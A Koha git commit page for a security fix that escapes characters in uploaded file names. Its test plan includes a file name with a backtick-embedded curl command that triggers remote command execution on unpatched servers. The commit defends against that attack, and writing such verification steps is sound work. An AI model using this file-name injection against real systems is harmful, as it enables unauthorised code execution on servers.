]> git.koha-community.org Git - koha.git/commit
Bug 36818: Escape characters in file names uploaded
authorChris Cormack <chris@bigballofwax.co.nz>
Wed, 8 May 2024 22:41:43 +0000 (22:41 +0000)
committerFrédéric Demians <f.demians@tamil.fr>
Wed, 29 May 2024 08:01:58 +0000 (08:01 +0000)
commit9e16ed4467da850ad63652906a2dc3011d20a338
treed7ed9209eefe4534a3907873f894e2b624c47785
parentc9f785184c3a094eff08d6925a8a62b2fa003a50
Bug 36818: Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
(cherry picked from commit 14bdaae3f257a321f8ec0d32c6b1e9bc6ed6033d)
Signed-off-by: Frédéric Demians <f.demians@tamil.fr>
Koha/Uploader.pm